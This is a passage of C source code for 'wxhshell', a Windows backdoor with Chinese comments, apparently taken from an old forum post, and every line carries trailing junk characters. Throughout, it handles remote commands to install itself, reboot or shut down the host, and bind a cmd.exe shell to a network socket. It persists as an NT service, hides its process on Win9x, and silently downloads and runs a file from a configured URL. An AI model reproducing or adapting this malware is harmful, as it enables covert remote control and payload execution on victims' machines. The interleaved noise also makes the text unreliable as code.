  L\8 tqy.  
  // 帮助 h:3`e`J<h  
  case '?': { QW.VAF\6*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2yhtJ9/  
    break; 1q*85 [Y  
  } rHu  #  
  // 安装 '!64_OMj'  
  case 'i': { O&=?,zLO[  
    if(Install()) mfO:#]K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|`%FB^k  
    else 9N|O*h1;u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQC.ap  
    break; BW}^n  
    } t i)foam  
  // 卸载 &3mseU  
  case 'r': { : 2?J#/o  
    if(Uninstall()) l tr =_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` !HGM>  
    else |lIkmW{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dZm>LVjG  
    break; h[%`'(  
    } @6>R/]  
  // 显示 wxhshell 所在路径 \Nu(+G?e  
  case 'p': { e =Vu;  
    char svExeFile[MAX_PATH]; gEtD qq~y@  
    strcpy(svExeFile,"\n\r"); |C@)#.nm[  
      strcat(svExeFile,ExeFile); ehI*cf({  
        send(wsh,svExeFile,strlen(svExeFile),0); b7{)B?n  
    break; t<9oEjk["  
    } v8,+|+3  
  // 重启 ;"\e aKl  
  case 'b': { S5E mLgnRs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d:O>--$_tw  
    if(Boot(REBOOT)) '5KgRK"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.X?wyg5  
    else { Qv,|*bf  
    closesocket(wsh); B=#rp*vwL  
    ExitThread(0); 7rc^-!k  
    } `f}c 1  
    break; ;Yyg(Ex  
    } <wxI>T}b  
  // 关机 4aGV1u+4  
  case 'd': { R>Fie5?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <O&L2E @~f  
    if(Boot(SHUTDOWN)) 4s~Y qP{K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uh%%MhTjv  
    else { D,dmlv  
    closesocket(wsh); Z:09 ]r1  
    ExitThread(0); qi h7  
    } &@c=$+#C  
    break; DIH.c7o  
    } 07Yh  
  // 获取shell qiiX49}{  
  case 's': { "0+_P{w+  
    CmdShell(wsh); |Rw0$he  
    closesocket(wsh); M5HKRLt  
    ExitThread(0); (tP>z+  
    break; /K:M ,q  
  } ]<A|GY0q1  
  // 退出 Xdsd5 UUM  
  case 'x': { R:x4j#(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tfvX0J  
    CloseIt(wsh); xIf,1g@Cq9  
    break; U5z^R>k  
    } AQU4~g mI  
  // 离开 X3#|9  
  case 'q': { #QQ\xj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zaf].R  
    closesocket(wsh); L{ ?& .iA  
    WSACleanup(); "X g@X5BG  
    exit(1); NQ !t`  
    break; w#U3h]>,  
        } [#$-kd~  
  } muo(bR8  
  } v2G_p |+O  
!m^;Apuy  
  // 提示信息 u^|XQWR$:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u1/4WYJeJ  
} LpeQx\  
  } jn>3(GRGC$  
ez&v"J  
  return; =Bi>$Ly  
} DGj:qd(  
4K[E3aA  
// shell模块句柄 mEv<r6qDT  
int CmdShell(SOCKET sock) 9xyj,;P>  
{ 63QMv[`,  
STARTUPINFO si; dE^:-t  
ZeroMemory(&si,sizeof(si)); ZwB< {?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g+t-<D"L5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kjfZ*V=-  
PROCESS_INFORMATION ProcessInfo; "n," >  
char cmdline[]="cmd"; '}e_8 FS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eZIqyw  
  return 0; Mg W0 ).  
} !fZ\GOx  
{3@f(H m  
// 自身启动模式 _(5SiK R  
int StartFromService(void) G)]'>m<y  
{ f)l:^/WP+  
typedef struct t,M _  
{ fPZt*A__  
  DWORD ExitStatus; tq H7M0Ry  
  DWORD PebBaseAddress; " JFx  
  DWORD AffinityMask; "}!|V)K  
  DWORD BasePriority; LdwWB `L  
  ULONG UniqueProcessId; jB!p,fqcb  
  ULONG InheritedFromUniqueProcessId; q.U` mtS  
}   PROCESS_BASIC_INFORMATION; Z,)4(#b =  
rCGXHbj%  
PROCNTQSIP NtQueryInformationProcess; D+P(  
E^rKS&P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }pdn-#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aY}:9qBice  
4='Xhm  
  HANDLE             hProcess; $wg5q\Rv  
  PROCESS_BASIC_INFORMATION pbi; -KhNsUQk  
K'%2'd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f(:+JH<P~  
  if(NULL == hInst ) return 0; &a5UQ>  
ukpbx;O:hc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NY 756B*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aUa.!,_dh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ok2KTsVl  
.A<G$ db ?  
  if (!NtQueryInformationProcess) return 0; 0uV3J  
_8A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k#uSH eq7f  
  if(!hProcess) return 0; v_mk{  
^MIF+/bQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e+6mbJ7y  
?g^42IYG  
  CloseHandle(hProcess); n75)%-  
G2qv)7{l2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h?R{5?RxK  
if(hProcess==NULL) return 0; "5 ;fuM1  
]xC#XYE:dy  
HMODULE hMod; hb#Nm6  
char procName[255]; [p3{d\=*?  
unsigned long cbNeeded; Q,R>dkS  
?lq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (StX1g'  
2?P H||  
  CloseHandle(hProcess); 'L?e)u.  
7irpD7P>  
if(strstr(procName,"services")) return 1; // 以服务启动 eyW8?:  
$`j%z@[g  
  return 0; // 注册表启动 2[~|#0x  
} K&ZN!VN/p  
j5m KJC  
// 主模块 oCfO:7  
int StartWxhshell(LPSTR lpCmdLine) 5.ibH  
{ "uCO?hv0  
  SOCKET wsl; 2[|52+zhc  
BOOL val=TRUE; z]_2lx2e  
  int port=0;  _U.|$pU  
  struct sockaddr_in door; `eZzYe(N  
OT 0%p)  
  if(wscfg.ws_autoins) Install(); JLd-{}A""-  
O6*2oUKqK  
port=atoi(lpCmdLine); M[  {O%!  
S[ch/  
if(port<=0) port=wscfg.ws_port; M~%P1@%  
Q$ +6f,m#W  
  WSADATA data; y0vJ@ %`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $UNC0 (4  
.~$!BWP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hg&.U;n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tGE=!qk  
  door.sin_family = AF_INET; nTsKJX%\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >{6U1ft):  
  door.sin_port = htons(port); Y5c,O>T5Y  
Gj_7wP$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >$$z6A[  
closesocket(wsl); Az7 ] qb  
return 1; "; 1@f"kw  
} |d$4Fu(M~  
:FTx#cZ  
  if(listen(wsl,2) == INVALID_SOCKET) { r[?GO"ej5  
closesocket(wsl); }7non  
return 1; Ez8k.]qu  
} |kY}G3/  
  Wxhshell(wsl); Vv54;Js9  
  WSACleanup(); oyB gF\  
JDJ"D\85  
return 0; apOXcZ   
acrR  
} l~]D|92  
1=Z!ZY}}e  
// 以NT服务方式启动 zmU@ k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =cpUc]~  
{ 8`<e\g7-  
DWORD   status = 0; X+1Mv  
  DWORD   specificError = 0xfffffff; Rh}}8 sv  
_tUh*"e&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [#=IKsO'R6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xa.tH)R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O 1D|T"@  
  serviceStatus.dwWin32ExitCode     = 0; 0G31Kou  
  serviceStatus.dwServiceSpecificExitCode = 0; }* \*<d 3  
  serviceStatus.dwCheckPoint       = 0; h;@c%Vm  
  serviceStatus.dwWaitHint       = 0; C}#$wge  
t"zi'9$t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @9eN\b%I^H  
  if (hServiceStatusHandle==0) return; ^@3,/dH1 t  
dz?On\66  
status = GetLastError(); ZIKSHC9  
  if (status!=NO_ERROR) k#bG&BF  
{ c/Fgx/hr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QM![tZt%;  
    serviceStatus.dwCheckPoint       = 0; ua"2nVxK_K  
    serviceStatus.dwWaitHint       = 0; uu9IUqEq2  
    serviceStatus.dwWin32ExitCode     = status; O\CnKNk,  
    serviceStatus.dwServiceSpecificExitCode = specificError; )s,LFIy<A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jST4O"DjM  
    return; h%U}Y5Ps~  
  } eF]8Ar1  
N>Ih2>8t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C1'y6{,@  
  serviceStatus.dwCheckPoint       = 0; dB6['z)2  
  serviceStatus.dwWaitHint       = 0; *Y?oAVkz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n$`+03a  
} 8v z h5,U  
KF6C=,Yc%  
// 处理NT服务事件,比如:启动、停止 %&_^I*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~4pP( JP  
{ ?2l `%l5(  
switch(fdwControl) }zks@7kf  
{ LPBa!fq  
case SERVICE_CONTROL_STOP: <#J5.I 1  
  serviceStatus.dwWin32ExitCode = 0; m% 3D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JO*/UC>"  
  serviceStatus.dwCheckPoint   = 0; iGSA$U P|  
  serviceStatus.dwWaitHint     = 0; e pp04~  
  { ;p2b^q'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :_y!p  
  } V y$*v  
  return; ' Ut4=@)  
case SERVICE_CONTROL_PAUSE: }% f7O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,#FP]$FK  
  break; [zBi*%5O  
case SERVICE_CONTROL_CONTINUE: ]/kpEx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y+T[="W  
  break; =w}JAEE|(i  
case SERVICE_CONTROL_INTERROGATE: 70GBf"  
  break; F@k}p-e~  
}; t/Y0e#9,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5?F5xiW  
} Nf^<pT [*  
E(j# R"  
// 标准应用程序主函数 RYA@{.O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /W)A[jR  
{ j{ YYG|  
ka!v(j{E  
// 获取操作系统版本 5e$1KN`  
OsIsNt=GetOsVer(); MW6z&+Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5LB{b]w7m  
tnaFbmp  
  // 从命令行安装 C<AW)|r_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ) jH`lY)1  
>xabn*Kq  
  // 下载执行文件 r":anR( ;  
if(wscfg.ws_downexe) { Oo@o$\+v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &G\mcstX  
  WinExec(wscfg.ws_filenam,SW_HIDE); n'v\2(&uYN  
} z,4mg6gt  
gT_KOO0n  
if(!OsIsNt) { s6@mXO:H^  
// 如果时win9x,隐藏进程并且设置为注册表启动 xsB0LUt  
HideProc(); .dk<?BI#H  
StartWxhshell(lpCmdLine); v8*)^-Fx  
} <M@-|K"Eb  
else _yv#v_Z  
  if(StartFromService()) -1,0hmn=+  
  // 以服务方式启动 OIL8'xY.w  
  StartServiceCtrlDispatcher(DispatchTable); s@ r{TXEn  
else \O;2^  
  // 普通方式启动 UMR?q0J  
  StartWxhshell(lpCmdLine); 3{$7tck,  
GeTk/tU  
return 0; A}SGw.3  
}
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只看该作者 1 发表于: 2006-10-10
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